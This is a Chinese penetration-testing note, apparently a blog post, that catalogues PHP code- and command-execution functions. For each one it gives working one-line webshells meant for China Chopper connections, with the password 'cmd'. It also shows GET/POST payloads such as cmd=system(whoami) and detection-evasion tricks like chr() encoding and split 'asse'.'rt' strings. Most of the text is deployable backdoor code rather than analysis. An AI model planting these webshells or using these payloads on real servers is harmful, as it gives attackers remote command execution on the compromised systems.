部分参考:
eval函数和system函数的区别——代码执行漏洞和命令执行漏洞_美豆阿的博客-CSDN博客
渗透测试之---PHP中常见的命令执行函数及其利用与防御_通地塔的博客-CSDN博客
目录
代码执行函数:
主要有(9个):eval(),assert(),call_user_func(),create_function(),array_map(),call_user_func_array(),array_filter(),uasort(),preg_replace()
1- eval()
传入的参数必须为PHP代码,既需要以分号结尾。
命令執行:cmd=system(whoami);
菜刀连接密码:cmd
<?php @eval($_POST['cmd']);?>
注意这里是POST型,所以以火狐的插件HackBar作实验:
显示的信息太乱了,我们使用 <pre> 标签可定义预格式化的文本。
当然你不闭合<pre>标签也可以,不影响结果,但代码不规范。
使用GET型,也不错:
特别注意:php中@是干什么的
屏蔽掉出错信息,有@时就算连接出错,也不会报错的
原因是防止别人根据错误提示信息来推测出你的数据库结构进行注入攻击一类的黑客行为
2- assert() --(最好不要加上分号作为结尾)
assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾(特别注意),有时加上分号不会显示结果。
命令執行:cmd=system(whoami)
菜刀连接密码:cmd
<?php @assert($_POST['cmd'])?>
3- call_user_func()
传入的参数作为assert函数的参数
命令执行:cmd=system(whoami)
菜刀连接密码:cmd
<?php call_user_func("assert",$_POST['cmd']); ?>
<?php
call_user_func($_POST["fun"],$_POST["para"])
?>
//post:fun=assert¶=phpinfo();
4- create_function()
创建匿名函数执行代码
执行命令和上传文件参考eval函数(必须加分号)。
<?php $func =create_function('',$_POST['cmd']);$func(); ?>
<?php
$a= $_POST['func'];
$b = create_function('$a',"echo $a");
$b('');
?>
//post:func=phpinfo();
5- array_map()
array_map() 函数
将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
命令执行http://localhost/123.php?func=system cmd=whoami
菜刀连接http://localhost/123.php?func=assert 密码:cmd
<?php
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;
?>
6- call_user_func_array()
将传入的参数作为数组的第一个值传递给assert函数
cmd=system(whoami)
菜刀连接密码:cmd
<?php
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
7- array_filter()
用回调函数过滤数组中的元素:array_filter(数组,函数)
命令执行func=system&cmd=whoami
菜刀连接http://localhost/123.php?func=assert 密码cmd
<?php
$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
8- uasort()函数
php环境>=<5.6才能用
uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd]) 密码:cmd
<?php
usort($_GET,'asse'.'rt');
?>
9- preg_replace()
preg_replace('正则规则','替换字符','目标字符')
执行命令和上传文件参考assert函数(不需要加分号)。
将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
<?php
preg_replace("/test/e",$_POST["cmd"],"jutst test");
?>
这里可以使用chr()函数转换ASCII编码来执行代码。
#phpinfo();
eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))
-------------------------------------------------
命令执行函数:
主要有(7个):system(),passthru(),exec(),pcntl_exec(),shell_exec(),popen()/proc_popen(),反引号 ``
1- system()
- 作用
将字符串作为OS命令执行,自带输出功能。
<?php system($_POST["cmd"]);?>
还可以写入一句话木马:使用cmd下的echo命令(注意:这里type命令无法写入内容到文件中,只能创建一个空文件)
2-passthru()
- 作用
将字符串作为OS命令执行,不需要输出执行结果,且输出全部的内容。
<?php passthru($_POST["cmd"]);?>
3- exec()
- 作用
将字符串作为OS命令执行,需要输出执行结果,且它只会输出最后一行的内容。
<?php echo exec($_POST["cmd"]);?>
<?php print exec($_POST["cmd"]);?> //他的输出结果需要打印,system()不用打印
4- pcntl_exec()
linux: <?php pcntl_exec("/bin/bash",array($_POST["cmd"])); ?>
用的不多。暂时略过。
5- shell_exec()
- 作用
将字符串作为OS命令执行,需要输出执行结果,且输出全部的内容。
<?php echo shell_exec($_POST["cmd"]); ?>
<?php print shell_exec($_POST["cmd"]); ?>
6- popen()/proc_open()
- 作用
该函数也可以将字符串当作OS命令来执行,但是该函数返回的是文件指针而非命令执行结果。该函数有两个参数。
linux: <?php $handle = popen("/bin/ls","r");?>
windows:
<?php
$cmd = $_POST['cmd'].">> 1.txt";
//此时的$cmd=ipconfig >> 1.txt
popen("$cmd",'r'); //实际上就是 popen("ipconfig >> 1.txt", "r"),把执行结果放入1.txt文件,通过访问1.txt文件查看执行结果。
?>
7- 反引号 ``
- 作用
[``]反引号里面的代码也会被当作OS命令来执行
<?php echo `whoami`?>
或者:
<?php $cmd = $_GET['cmd'];print `$cmd`; ?>